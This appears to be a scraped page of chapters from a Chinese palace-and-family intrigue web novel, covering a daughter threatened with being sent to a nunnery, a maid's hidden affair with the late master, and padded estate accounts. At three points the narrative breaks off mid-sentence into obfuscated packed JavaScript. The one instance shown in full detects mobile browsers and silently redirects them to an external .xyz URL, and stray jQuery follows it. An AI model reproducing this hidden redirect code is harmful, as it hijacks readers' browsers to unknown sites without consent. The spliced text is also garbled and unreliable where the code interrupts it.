出家 关怀素赶过去看的时候,便见到婉蓉披头散发坐在地上,歇斯底里地哭喊着哀求:“父亲,我不要,我不要出家,父亲!小娘!小娘你帮我劝劝父亲啊!” 崔妙人吓得也是眼泪直流,拦在前面跪着哭喊:“珺郎,不成啊!蓉儿自小金尊玉贵地养大,在家里日日锦衣玉食,哪里能忍受那清苦的出家人日子?珺郎,求求你了,你饶了蓉儿这一回吧!” 婉蓉看父亲神色依旧冷酷,想到日后若是要天天吃素,还得半夜三更起来干粗活,婉蓉咬牙,哭喊说:“若是送我去上山,我宁可现在就一头碰死!” 说着,婉蓉站起身,就要去撞柱子! “快拦下!”就在这个时候,老夫人进来了,一出场就叫老妈妈们拦住了婉蓉,而后拄着拐杖生气地对李珺说:“一大早地里到底是在发什么疯?我听丫头说你要把蓉儿送出家,你瞧瞧这孩子,她回来就在给我抄经祈福,多好的一个孩子,你怎地这么狠心啊!” 李珺可以不管婉蓉母女的想法,却不能不管老娘,这会子生怕母亲气得闭过气去,连忙上前扶住老夫人,连声说:“母亲,我这也是为了蓉儿啊!如今朝堂这么拉扯着,长此以往不是事儿,我想着把蓉儿送去当姑子,把这话放出去,好歹逼着公主做个决断才是!” 婉蓉和崔小娘这才知道,原来不是李珺铁了心让婉蓉出家,二人这才稍微冷静下来。 崔妙人紧张地捏着帕子,哭着说:“可是公主若是不放在心上,我的蓉儿……” 婉蓉更是冲到老夫人身边,抱着老夫人的腿哭喊:“祖母,我不出家,我不出家!” “是啊,若是逼迫不成,蓉儿怎么办?她一个娇滴滴的姑娘,难道真送去山上做那姑子?”老夫人心疼地抱住婉蓉,一边担忧地问。 “若是大长公主真的不出面,那也是蓉儿的命。”李珺叹了口气,疲惫地说,“母亲,我必须如此行事,一则若是我不如此,日后我只怕要深陷朝堂争端,闹得大了,若是牵涉到其他阴私,难免出事;二则我若是不如此,哪怕我愿意为了蓉儿的豁出去仕途,可上头神仙打架,蓉儿的终身也不知会如何。与其如此,不如主动出击。” 事情涉及到李珺的仕途和李家未来,老夫人虽然听不懂,但是也一下子不敢随便说话了。 婉蓉登时急了,哭着对李珺说:“爹,求求你了,我以后会听话的,我不会再出门了,我一定听你和小娘的安排……” “珺哥哥,明儿送婉蓉去!”婉蓉还在说,崔小娘却突然神色一厉,上前发狠拉住婉蓉的手死死掐一把,逼她不许再说话,而后对李珺说。 这一句话,把李珺和老夫人都震住了,李珺不可置信地看着崔小娘,问:“妙人,你真愿意?” 崔小娘眼泪一串串掉下来,对李珺哭着说:“事情涉及珺郎前程,我虽搞不明白,但是也知道,不能叫蓉儿的事情耽搁珺郎的仕途。蓉儿,你也别怪爹娘狠心,你放心,若是事情成了,小娘一定风风光光送你出门子,可是若是不成……” 崔小娘对婉蓉说完,又转头看着李珺,说:“若是不成,妙人只求珺哥哥一件事儿。” “你说。”李珺知道她对自己情根深种,最是体贴自己,却没想到到这个时候,她还是站在自己这一边,他深深地感动了,之前的嫌隙在这一刻里、在这多年如一日的体贴里一下子消弭了大半。 他看着崔妙人,这几日的冷酷和疲惫都被这个女人的温柔一下子融化了,他动容地说,“妙人你只管说,任何事情,我都答应。” 崔小娘看着婉蓉,慈爱地说:“若是真不成,是咱们蓉儿命不好,便叫她日后一辈子还住在家里,带发修行,可好?” “当然,我也心疼蓉儿,怎么忍心她在那庵堂里受苦?”李珺听到这里,连忙满口答应,看婉蓉都是眼泪,也动情地说,“家里也不是没有产业,若是不成,原先打算给蓉儿做嫁妆的,便全数划给她,我手上的庄子到时候给她一个,还有她兄弟看顾,一辈子总不叫她受苦就是。” 如此一来,便算是安排完毕了,老夫人也没什么话说,崔小娘更是感恩戴德。 此事到了这里,便是定论了。 关怀素看到这里,拉着身边的宁小娘离开。 “崔妙人真是个狠人,连女儿也舍得。”一离开西院,宁双双就感慨地说,“我当初被她所害,也不算冤枉。” “那又如何,整日忍辱,多少爱也会磨干净的。”关怀素却摇摇头,轻声说,“她整日做小伏低,每次都能选择最佳抉择……你当真以为她没有怨气吗?” “姑娘的意思是?”宁双双好奇地问,“难道她还会恨上老爷不成?” “现在还没有。”关怀素笑笑,说,“但是再遇到一些事情,她若是总被放弃……滴水穿石,何况人心?” 二人说着,笑着走远了。 而身后,李珺也扶着老夫人回正院。 西院冷清下来,人都走光了,婉蓉才扁嘴,哭着对小娘说:“小娘,我不想出家,你为什么答应了?我明明不想出家!” 她还想哭,刚才哭得肝肠寸断地送走人的崔小娘却收了眼泪,拿帕子把脸一点点擦干净。 婉蓉看小娘这样子,不知道为何心里有些害怕。 她嗫喏地轻声唤:“小娘……” “哭完了?”崔妙人看着她,看她怯怯的样子,心中也舍不得,脸上的阴狠软下来,她叹了口气,轻声对她说,“蓉儿,往日我一直教你争,但是今儿,我要教你忍了。” 婉蓉不明所以地看着崔小娘,崔小娘叫姜妈妈出去守着,自己摸着婉蓉的头发,压低声音说:“蓉儿,你知道我是怎么哄你爹的吗?” “我当初,明明好想留住第一个孩儿,但是我亲手撞桌角,我在床上疼得打滚,我要抢在所有人前面把孩子打下来。”崔小娘声音温柔,却生生叫婉蓉打了个寒噤,她说,“因为那时候我自己不动手,我就是另一个彩霞。” 那个孩子,不是她动手,就会有管家带着下人,拿着棍子打她的肚子,生生把那个孩子打下来。 而她,也会因为“不懂事”,而被老夫人厌弃。 “你看我现在还每天给你祖母捶背、洗脚,是你娘我天生**,喜欢伺候人吗?”崔小娘眼神发狠,说,“我又不是贱骨头,怎么会天生喜欢伺候人?我不过是因为没办法,我没娘家、没根底啊!所以我得伺候她,你祖母才会心疼你、心疼你哥哥,才会偏疼我们,才会照顾我们!这就和你爹一样,我得温柔、懂事、一心一意体贴你爹,为了你爹连自个儿和你、你哥哥都不顾……这家里,大娘子会管家、知礼仪懂进退,所以我要做最体贴的那个红颜知己,才能叫你爹惦念这份情谊。” 婉蓉听得呆住了,这些话以往小娘都没和她说过。 她茫然地看着崔小娘,心疼地说:“可是小娘,你不委屈吗?” “怎么能不委屈?我这个年纪了,都快做祖母了,还日日在你祖母屋子里一站一整天,回来脚都是肿的,比人家体面大丫鬟还不如。”崔小娘笑笑,轻声说,“但是我能忍。” 她慈爱地把婉蓉鬓边乱发挽到耳后,含泪笑着说:“我吃什么苦都行,只要我的蓉儿嫁个好夫婿,日后金尊玉贵过一辈子。你大哥争气,日后好好进学,得了功名,我这一世便值了!” 婉蓉眼泪一下子下来了,害怕地说:“小娘,我还能嫁给刘仁吗?” 崔妙人强忍住泪水,给婉蓉擦了擦脸,温声说:“不论如何,事情已经到这个地步了,这日子都是人过出来的,小娘告诉你,日后若是遇到今儿这种时候,你知道事情无法回转了,便不要硬扛着,要忍,哪怕心里苦,也得忍下去,知道不?” 婉蓉哭着点头,说:“我知道,我知道小娘这时候了还在想着给我挣点体己,若不是小娘主动开口,父亲也不会答应给我一个庄子。” “你开窍了,这便好了。”崔妙人泪眼婆娑,笑了一下,说,“我的蓉儿变聪明了!” 说完,二人一起又哭又笑。而后崔妙人又说:“过几日我们便叫你父亲去看看田地,钱财放手上到底无用,买个庄子,加上你父亲给你的,一年到头嚼用尽够了。不论你在哪儿,手上有钱,总能少受些委屈。” 这就是真真在为她计算一辈子的依靠了,婉蓉知道,小娘如今能做的,便只能有这些了,她心中又是难受又是温暖,一时怨恨一切不如自己的期待,一时又怪自己命不好,一时又为小娘和祖母的照顾难受,心情百感交集,抱着小娘痛哭。 当晚,李家要送二姑娘去流云台寺出家的消息,就长翅膀一样飞到了所有人耳朵里。 宫中当晚立刻也收到了急报,得到急报的时候,大长公主正在后宫之中,与太后、当今圣人一起用膳。 刘仁与太子、周乐天也在一起。 宫人进门回禀完,刘仁一下子脸都黑了,他今儿本就是第一次见皇祖母与圣上,正食不知味,这下子更是一口都吃不下了。 赵白芷作为新妇也被带入宫中参加家宴,原来还笑盈盈地给太后布菜,这时候听到这消息,吓得立刻放下筷子,不敢出声。 反倒是太子刘钰看赵白芷被吓到,立刻不满意地说:“出家就出家,这是什么大事吗?” 说着他握住赵白芷的手,轻声认真地说:“你别怕,我不让你出家。” 这话说得风马牛不相及,但是在场众人都**以为常,只有刘仁露出了诧异神色。 他这样一惊一乍,圣人就心中对他不喜三分,只是面上并不表现出来,只点头表示知道了。 大长公主还在若无其事用膳,太后却叹了口气,放下了筷子。 与当年传说不一样,太后看着身体已经不再那么康健,她年纪大了,身形已经变得干瘦,唯有眉眼之中的坚毅还看得出来她年轻时的风采。 她放下筷子,大长公主也终于放下了筷子,看着她说:“母亲何故叹息?” 太后看着她,慈爱地说:“敏敏,磐儿,我吃饱了,你们扶着我,我们去御花园里逛逛吧。” 皇帝便立刻起身,上前扶住太后的手,轻声说:“好,一晃眼也快五月,御花园里的花应当开得差不多了,正适合走走呢。” 大长公主也上前,一左一右,两人扶着太后,便一路往御花园 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大长公主也握着母亲的手,说:“叫母亲如今还为我们忧心,是我们不孝。” 太后低头,看下头花园子里不敢上前打扰的小辈们,眼中闪过一抹疲惫和隐忧,但是她什么也没再说了,只轻叹口气,拍拍二人的手,轻声说:“家里无论如何闹,不可叫手底下的人真的伤了心,叫其他人看着寒了心。去吧,回去休息。” 姐弟二人齐齐应是,扶着太后回宫。 出太后寝宫,大长公主便说:“明儿一早,我会叫人抬些钱财,叫仁儿纳那姑娘为侧室。” “长姐考虑的是,此女至纯至孝,可惜出身太差了些,便做个侧室,也差不多了。”皇帝点点头,温声说。 大长公主回头看他一眼,突然笑了一下,说:“仁儿,过来给你舅舅请安。” 刘仁立刻上前,压抑着声音叫了一声舅舅。 “仁儿,瞧着真是个好孩子,瞧着有乐天当年的几分风采。”皇帝一句话,刘仁的嘴角立刻微微垂下来,下一刻听到他说,“这孩子瞧着是个有福气的,便封为安乐侯吧。” 一句话,已经是庶人到侯爷。 刘仁瞪大眼睛,大长公主也难得露出个笑容,叫他快道谢。 今儿家宴的事情到此为止,终于算把所有的事情都办完了。 大长公主告辞,圣人虚弱地叹了口气,说:“我身子不舒服,叫乐天留下来陪我说说话。” 周乐天扶着圣人在书房里坐下,自己则在旁边垂手站着。 “你也坐下吧。”圣人叹了口气,太监立刻过来摆好桌椅。 等着太监们离开,周乐天刚坐下,便突然听到圣人说:“你身子瞧着好了许多,听说是关家那姑娘给了你医仙公孙先生的方子?” 周乐天登时猛地跪在地上,说:“舅舅,此事……” “不必担心。”圣人叹了口气,轻声说,“原是暗卫说你娘手下的老将最近突然都有动作,查了一下,结果发现是关家那小丫头弄出了个织布坊,在帮着你娘安置残废兵士,顺带查了一下,才知道这些。” “她性子与关老先生一模一样,淡泊名利。”周乐天轻声说,“舅舅您可以细查,乐天绝无一句假话。” “你无须如此小心。”圣人叹了口气,想说什么,却没继续说,只说,“你安排一下,我想见见她。” 周乐天惊讶地抬头,却见圣人神色莫测。 他不敢继续揣测,只能小心地点头,轻声说:“是。” 周乐天小心地告退,圣人看着他的背影,突然说:“大伴,早些年,乐天对我没有这么恭敬吧?” 吴大伴躬身,轻声说:“平安侯身子不好,确实不如往年活泼。” 圣人知道贴身大太监是在安慰自己,他轻声说:“哎,若是钰儿一直好好的,当年西北之事,我何至于不敢继续往下查……” 吴大伴愈发躬身,只说:“陛下,您要保重身子,马上就能见到关姑娘了,若是能找到医仙,您定能大好的!” 圣人只咳嗽着摇摇头,说:“只盼能再多撑些日子,好歹把眼下局势熬过去……” 第一百零七章 惊恨当年事 婉蓉的事情还没出个结果,肇州的人连夜回来了。 关怀素没出面,只让孔妈妈与那帮人对了一下,发现怀上满娘的日子确实对不上,满娘八成不是老夫人弟弟的种,便心中有了数。 于是第二天一大早,李家大门口就吵吵嚷嚷地出现了一群肇州乡下人,说是找陈妈妈讨债。 老夫人正被崔小娘搀扶着散步,听到王妈妈慌慌张张,一进门就高喊“陈妈妈出事了”,一下闹得老夫人皱起眉,不喜地说:“都多大年纪了,还这样慌慌张张的?” 王妈妈这才见到老夫人,立刻站住行礼,说:“陈妈妈夫家那弟弟找来了,在大门口在喊,说是、说是陈妈妈带着野种卷了他们家的钱财跑了,害**他们家老母,他们要来求个公道!” “这都多少**情了,不过是乡下人来讹钱的,去叫管家打发了就是!”老夫人不耐烦地说。 王妈妈赶紧答应着,匆匆又出去,到了前院,就见到雪沫打着帘子,管家带着一群衣衫简朴的乡下人进了正院。 “老爷今儿休沐,宁小娘一大早被吵醒了,问到底是怎么回事,老爷听说是肇州乡亲,便特地叫进来问是否遇到了什么难处。”雪沫轻声对王妈妈说。 王妈妈一听,心中大喜,面上丝毫不显,立刻便点头,只回去回复老夫人。 “行了,珺儿也真是,实在是太念旧情。”老夫人摇摇头,说,“听说是肇州老家的,许又是要给人赏钱了。” 众人都恭维了一番,至此陈妈妈都没当一回事。 只是众人都没想到,今儿这么随便一问,竟问出了一桩陈年阴私之事。 连李珺都没想到。 他原也只是听说肇州来了乡亲,便以为是落难了听说他的名声来求助的,想着到底是老家乡亲,便帮一把也没事。 进门他还乐呵呵地说:“肇州这些年如何?大家过得可好?” 结果没想到进门那农人男子跪下便磕头,然后哭着喊:“求李大人为我做主,求李大人做主啊!” “这是怎地了?你们在京师受欺负了?可是遇到什么难处了,慢慢说!”李珺一惊,连忙叫李福把人扶起来看座。 男子却不起来,只哭着说起自己长嫂进门之后六个多月就生子,兄长病死之后如何三日就卷走家里全部财产离家,那孩子如今回想起来又如何与长兄不像。 李珺听得目瞪口呆,说:“竟有这样不孝无德的女子?何不报官把她抓回来?” “实在是不敢,我那长嫂乃是大家婢子,且是主家小姐陪嫁,十分得脸,哪怕我其实听邻居说起过,这婢子嫁来我家之后,依然有主家下人悄悄与她传讯来往,我都忍了。”那小弟抬起脸,沧桑脸上满是泪痕,说,“如今我年纪大了,不知还能活几年,临终之前,才想着来找李大人,来求个公道。” 李珺沉声说:“你只管说,只要你说的是实话,此事我一定替你做主。” 男子立刻伏地磕头,说:“此人乃是大人母亲身边贴身婢女,当年名叫陈翠。” 他大声说:“久闻李大人清廉刚直,求大人给草民一个公道!” 说完,这男子长跪不起。 李珺听到这里,心中微微一松——他是真怕是什么大干系,原来只是母亲身边的一个贴身妈妈。 于是他立刻点头,说:“起来,这事儿我保准给问个清清楚楚!” 于是在院子里正散步的陈妈妈,便得知了老爷叫她去前面的消息。 老夫人追问发生何事,李福不敢瞒她,便把事情清楚说了。 老夫人一听,立刻不高兴了,说:“什么陈年旧事,也往陈妈妈身上拉杂,他们不就是要钱么?叫人给他们打发些钱财不就是了!” 李福不敢回去,只赔笑着躬身说:“夫人,这地方是天子脚下,那些乡亲能走这么远到了京师,老爷肯定要管,否则若是在京师闹到了,给御史知道……” 老夫人这才一凛,立刻叫陈妈妈过去,又安慰她:“不是什么大事,无须担心,过去按老爷问的好好说清楚,赔他们些钱财就是。” 陈妈妈心中虽有些忐忑,但是到底也不怕,就这么过去了。 结果一过去,见到不只是有昔年亡夫的小弟,居然还有些邻居,陈妈妈当时就觉得有些不安。 当场与小弟吵起来,坚决不肯承认自己卷钱逃走。 “你生的那个孩子是野种!凭什么拿走我兄长的钱财!你嫁到我家分明就已经怀胎了,那孩子六个多月生下来,明明就是足月般壮实!”那小弟指着陈妈妈大吼,“陈翠,你生了别人的野种,还拿我家钱财跑路,你凭什么!” “满娘明明就是我亡夫的孩子!”陈妈妈愤恨地说,“你少在这里血口喷人!” 说到这里,一个牙齿都脱落的老翁站出来,颤巍巍指着陈妈妈说:“你偷人,我看到了。当初那个郎君病弱弱的,我当时在墙角夯土,听到你叫他文朗少爷!” 文朗,是李珺父亲的名讳。 事情到这里,这个名字出现,登时叫李珺沉下脸来。 他终于不再把这件事情当作随手处理的小事,而是吩咐:“去,叫老夫人过来。” 老夫人听到那句“文朗少爷”,脸色大变,扶着崔小娘的手匆匆赶到,进门脸色发白,怒视陈妈妈,恶狠狠地问:“你私会的不是我弟弟,是我相公?!” 这话一出,陈妈妈吓得脸色发白,连声颤声说:“不是,小姐,我没有、我没有啊!” 可那小弟可不会给她机会,怒声说:“当初你来我家就怀孕,你那奸夫叫跑腿小厮送了好几次补品,三爷爷听到了,婆婆也听到了!” “你们说,他们说了啥?!”老夫人恶狠狠地看着被指到的老翁和老婆婆说。 “我听到她叫文朗少爷,又讲这娃子造孽哦,明明是贵人,如今搞成乡下人。”那老爷爷憋着嘴,艰难地用官话学着说,“我偷偷巴在缝隙里偷瞧,外头是好气派的马车,里头坐了个老爷,二十几岁的后生子,瞧着得病的样子。” 老婆婆则说:“老婆子没瞧见别的,就是瞧见有下人送了东西,说老爷叮嘱你好好养胎,要是生个儿子,也不一定没机会接回去。家里只得大少爷一个,人少娃精贵,老爷肯定想着咧。” 二十三四的郎君,当时弟弟还未及冠,年纪尚幼,绝无可能被人错认成这样。 且弟弟没有子嗣,家里有大少爷的、这个年纪的郎君,还叫文朗……再无错认的可能。 老夫人一直以为自己与亡夫鹣鲽情深,这一瞬间脑子崩了,她盯着陈妈妈,颤抖着手指指着她,半晌才恶狠狠憋出一句:“满娘、满娘,到底是谁的孩子?” 陈妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈妈妈那夫家小弟闻言,哭着说:“我们自然信大人,否则也不会不去别的地方,只奔着大人来。实在是在肇州就听闻您的清廉公道,才敢前来!” 李珺闻言,心中再不舒服,也是稍微畅快一点,又觉得这家人其实是无妄之灾,叹了口气,温声说:“听你说话,当初也是读过书的,可怜你少时遭了这等大难,绝了读书之道,到了如此年纪,又能为了长兄与寡母如此奔波,只求公道。你品行很好,可惜命途多舛。家中可有子嗣?” 李珺安慰到了这小弟的心里,他立刻痛哭流涕,点头回:“侥幸有二子一女。” “李福,去账上拿一百两给他。”李珺吩咐完,又对这小弟说,“你如今年岁大了,但是家中儿孙俱在,我拿这个钱,是希望把你与兄长的进学之路再次续上……当年之事,不知家中丫鬟如此横行霸道,原是我们主家失职。” 这小弟明白,立刻点头,说:“是啊,若不是她卷走我家中全部钱财,怎能有后面之事呢?她真是可恶,老夫人一片真心待她,她却如此隐瞒老夫人!欺下瞒上,真是恶人!” 李珺闻言,便愈发真诚地安慰了几句,又给陪着亲戚找公道的众亲戚一人赏了十两银钱,抚慰众人奔波之苦。 肇州这帮人便千恩万谢地去了,出来之后,悄悄拿了王妈妈给的钱财,众人欢天喜地回老家去了。 第一百零八章 李家账本 前院鸡飞狗跳,丁妈妈口沫横飞地说着呢,宁小娘却抱着一堆账本子来了关怀素屋里。 “前头正热闹,小娘怎地来了?”关怀素笑问。 “我听完热闹了,便想着过来找你。”宁小娘把一大堆账簿放下,说:“你父亲说是把这些账本看完,就把说好的铺面给我,我一个人看实在是太慢,怕赶不上这场事,便想着过来寻你。” “这场事?”关怀素不解地问。 宁小娘压低声音,说:“二姑娘的婚事闹成这样,老爷说结果无论如何,都要给二姑娘一个庄子,崔妙人估计这几日就要催着要了,三姑娘早说好了也要陪嫁铺面庄子,到时候都在要,我要抢在前头,拿个好地方。” 关怀素听她的小打算,心中觉得十分可爱,便笑着说:“来,趁着我水道图的事情也收尾了,这两日无事,咱们便好好抢一抢!抢个最挣钱的!” 两人笑完,便开始对账。 宁小娘跟着关怀素已经学了一阵子,如今看账本子已经没什么问题,因她吃过银钱的苦,所以对钱财也十分上心,算学学起来也飞快,倒是没什么问题。 两人看着账目,关怀素原嘴角带笑,结果看着看着,沉浸在账目里,越看脸色越是肃穆。 宁小娘看她神色紧绷,心中也十分紧张,连声问:“怎么了,可是账目有什么问题?” 问题可太大了。 关怀素这一天看下来,发现李家的问题比日常看到的还严重许多。 父亲手上的钱财,瞧着确实比原先猜测的还多很多,光是铺面就有五个,虽都不大,但是位置都还可以。 庄子大小不一,三大两小,五个都在京师附近,价值差距较大。 这都是京师的产业,李家老家的祭田还有足足二十顷,肇州还有两个大庄子并七八个铺面。 这已经算是十分奢阔的家业了,难怪李家子女随手花费一个五品官一月月俸都面不改色。 但是关怀素瞧着问题大,是因为这么多家业,听着阔气,但是一看账目,竟都是收益寥寥! 老家的祭田全数拿去供养李家族亲了,这没什么,这祭田素来就不是拿来挣钱的。 可京师里头的铺面,往年的收益一年下来,竟不足两百两! 庄子的问题更加严峻——三个十几年前花了几千两置办的、那个最大的庄子,到现在一年到头竟不过一两百两并一些山货米粮果蔬。 这还是最好的一个,最差的那小庄子,一年到头只有米粮和山货,竟一点钱财也没收回来。 这还是京师附近的,京师外头那七八个铺面更是离谱,一年到头算下来收益几十两就打发了,两个大庄子竟还哭喊年年歉收、米粮价低,算下来一年到头竟只得两百两左右! 肇州那边,关怀素去过附近,所谓报歉收的年岁关怀素甚至还踏足过,那都是丰收之年! 这些年都是孙大娘子管家,她若不是天大的蠢货,便是在这里头吃尽了好处。 关怀素稍微算一算,都十分心惊这里头一进一出的巨额钱财。 但是这些还不是关怀素最惊讶的。 令关怀素最惊讶的是置办这些产业的年岁,除了祭田是先帝刚薨的第三年置办的,其他全部都是今上登基后的第五年和第六年。 先帝刚薨三年,是阿娘下嫁李家的时候,想来这应是阿娘办的——置办祭田、照拂族亲乡邻,素来也是关家人的习惯,阿娘这么做很符合关家人的性子。 但是三年之后,李珺突然大手笔地置办田地庄子和铺面,刚好便是在阿娘去世、关家下人被打杀发卖之后。 想来是阿娘留下的钱财和陪嫁,叫李珺拿到了手里。 想到阿娘陪嫁单子上那一长串物件,明面上的钱财并不多,除了几个庄子和现银,其他都是拿钱都买不到的好东西。 父亲想置办这些东西,只怕要卖掉阿娘一大半陪嫁才成。 因为这些物件在不懂行的人眼里不过是普通摆件,只能按料子算钱,但是在懂行的关怀素看起来,有些一个就能抵半个庄子了! “蠢货。”关怀素看完账目,千言万语只汇聚成了一句低斥。 “啊?”宁小娘惊恐地看着关怀素,还以为关怀素骂她,登时瞪大眼睛,惊恐地说,“难道我算错了?” “没有。”关怀素立刻说,“我是说,原先是谁管这账目,竟连家里收的钱财不如庄头都看不出来?” 宁小娘立刻惊讶地说:“姑娘怎么说?” 关怀素便指着账簿,对宁小娘说:“小娘你看这里、这里和这里,又没遭灾难,这庄子上怎地米粮还比京师贵几分?一个鸡蛋京师卖两个钱,他们也是这个价。再看京师边上这几个庄子,你瞧着,这偌大一座山,一年到头就产了七八两银钱的果子……这真是当人都是瞎子啊!” 宁小娘便往细处看,见那地方写的字极小,还有污渍,且断句极其模糊,宁小娘眯着眼睛跟着念了几遍:“鸡蛋贰拾枚月用叁拾只计陆拾钱常例扣……” 她念了好几遍,才顺畅念出来,不由发怒说:“写得这么小,还这么糊里糊涂的,想来就是故意叫人看着难受!” “做账的跟那八仙过海一样的,这还是明面上的,毕竟若是主子发现,也可以说是买不到买了高价,不是什么大事,因此还做在明面上。真正见不得人的手段,账本上都看不到。”关怀素瞧宁小娘那样子,反而被逗得心中轻松一些,笑着指着账本上另一段,说,“比如你瞧着这里写的,去年霜冻后苹果减产三成,又因丰收价贱,合计最后半山果子,就挣了七两银钱。” 宁小娘心中算了一下,说:“姑娘,这瞧着少,但是果子这东西素来是这样的,看天吃饭,价格也是并不十分平稳,这东西到底不如粮食饱肚子呢。” “平常我不知道,去岁我刚巧在庄子上,事实上,去岁霜冻其实影响不大,且京师之中有酒楼大厨用蜜腌渍烘烤之后的苹果片,味儿香浓甜蜜,很是风靡了一阵,因此当时庄子上收苹果的价格反倒是比以往贵了一倍。”关怀素便耐心对宁小娘解释。 宁小娘一算,顿时悚然而惊,脱口而出:“这加加减减,他们竟在这里就能贪十几两了?!” 关怀素点头,轻声说:“不过到手应不会这么多,上头管的人若是看得懂账,总得交个七八成,才能粉饰过去的。” 宁小娘吓得压低声音,说:“大娘子知道?” 关怀素轻声说:“我不知道,但是我想着,只要不是蠢货,常年管家的人,总会看出猫腻的,这账目既然没人挑破,显然是有人帮着抹平了。” “若把这事儿挑到你父亲面前,可能对付大娘子?”宁小娘立刻便兴奋地问。 “难。”关怀素轻声说,“这东西口说无凭,且上下一心,最重要的是,父亲不懂经济,也不爱管这些。他手上只要有余钱,就不会管这些经济小道,不然账目也不会这么粗都没人看出来。” 宁小娘立刻泄了气,瘫坐在椅子上,说:“是了,不然也不会那么简单就给我看这些年的账本,你父亲这人最是清高,还说叫我有兴趣就看看,但是切不可沉迷于这些黄白之物。” “父亲现在手上宽裕,虽上下贪墨,但是到底是偌大家业,还有俸禄,如此加加减减,每年钱财都尽够用了。”关怀素微笑,对宁小娘说,“小娘若是接手,掌柜若是按往常来给你好处,也只管接了。反正父亲他日不凑手了,到底大头也不在小娘手上。” 宁小娘还是有些害怕,关怀素便压低声音说:“小娘,你便直接在父亲面前说,掌柜的给你送礼,你想父亲会如何回答?” 宁小娘眼睛一亮,立刻明白了关怀素的意思! 李珺这人根本看不上这点钱财,且他目前对自己又宠爱,知道了也只会觉得掌柜的十分懂事罢了。 只要在李珺面前过了明路,日后再有什么事情也不关自己的事儿了,便可趁机多拿些好处,日后说不得够自己受用一世了! 想到这里,宁小娘立刻点头,连声说知道了。 这一看竟是看了一整天,虽没看完,但是里头很多窍门关怀素都细细教导了,宁小娘回头自己慢慢看也能琢磨出来,以这些来回复李珺,便完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16381026|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全够了。 宁小娘十分满意,便笑着告辞。 “小娘,大姑娘眼睛真利啊,这管家手法没学过,竟瞧着比大娘子还老辣呢。”一出素心居,云青就忍不住感慨。 “是啊,这才是会过日子的人呢。哪里像……”宁小娘撇了撇嘴,到底顾忌着没说李珺的名字,只低声说,“天天说什么清高,管家也不会,也不过是仗着得了人家阿娘的偌大产业罢了。要真不喜欢钱、清高,怎地不把这些全还给大姑娘?” 说完,她不屑地啐了一口。 进了院子听胡妈妈说老爷来了,立刻神色一整,露出灿烂的笑脸来,连声吩咐:“把大姑娘前些日子送我的兔子炖一只,再把梨酒温一壶。” 进门瞧见李珺就带着笑,说:“如今虽开始回暖了,到底不是暑天,我瞧郎君竟已经开始喝凉的,到底伤身,便叫他们把梨酒拿水隔着温着,不至于喝着燥气,喝着益口,也不伤身呢。” 闹了一整天的李珺闻言,大为感动,连声说:“还是双双知道心疼我,夫君实在是感动。” 宁小娘便灿笑一下,把账本放下,过去给李珺按肩膀,柔声说:“家里处处都指望珺郎,双双又敬慕您,又担心您一个人扛着这一家老小劳累,双双做不得什么,便只能在这些事情上面,勉强注意一下。” 李珺感动得眼圈都红了,轻声拉着宁小娘的手,说:“得此贤妻夫复何求。” 宁小娘闻言,甜甜一笑,但是立刻又微微蹙眉,轻声说:“双双不过是个农女罢了,不能为珺郎主持中馈、打点家里,配不上贤妻的称呼。” 李珺闻言,笑着捻起桌上账本,说:“可是看账本子看得头昏脑胀,心里不开心了?” “珺郎,你小瞧人家!”宁小娘生气地白他一眼,说,“这里头我看得清清楚楚,您看,这是去年每个庄子的收成、这是铺面经营明细,要我说,那山坡上的果子给他们弄得乱七八糟的,当初我在乡下,可不是这么卖的。一支山才卖了七两钱的果子,去年京师那蜜渍苹果片不是十分风行么?我听说跑得快的人家,那都卖价翻倍了,偏他们还那么傻,竟就等着人家上门压价!真是一点也不聪明!” 本来美人的白眼也十分有风情,叫李珺心神荡漾,结果宁小娘这一开口,把李珺登时惊了一下,惊讶地说:“哎呀,双双你竟听着真的看得明白?” 瞧宁小娘生气,立刻笑着说:“原是我小瞧了双双,咱们双双冰雪聪明,当然看得懂!” 又笑着翻开账本,说:“来来来,为夫兑现诺言,咱们双双既看得懂,那便自己挑,想要哪个庄子或是铺面?” 这都是宁双双问过关怀素的。 关怀素当时就跟她说,不要选太大的,不然显得贪心,但是也不要选得太差,自己吃亏。 就选那现在账目看着最差,实际上又油水最多的。 “就要南山这边这个吧。”宁小娘拧着帕子,有些不好意思地说,“这地方瞧着没几个钱,想着我初初练手,也不会捅什么大窟窿。” 李珺一看,竟是他名下收益倒数第二的一个庄子,那地方一年到头交上来的钱财不过几十两银钱,他心中怜爱宁小娘,觉得她确实是个质朴娇憨的可爱性子,便叹了口气,说:“傻丫头,选这个吧,这个大一些。” 那庄子大一倍,一年也有二百多两。 宁小娘却摇摇头,说:“不用了,我在家里,若是吃用,一辈子尽够了,也不过是日常无事,想多学些东西帮珺郎分担一些。” “你呀。”李珺心中越加爱怜,摸着她的头发说,“这家里,你最是性子洁净。” 妙人也是爱他,但是妙人却更会为自己打算,当年选庄子的时候,一手就拿了最大的那个。 李珺当然也不觉得如何,只是对比起来,愈发觉得眼前女子可爱,也愈发像是当年那个灼灼发亮的女子。 他想起往事,喝了几杯酒,抱着人的时候已经醉了,轻声说:“素素,你别恨我、你别恨我……” 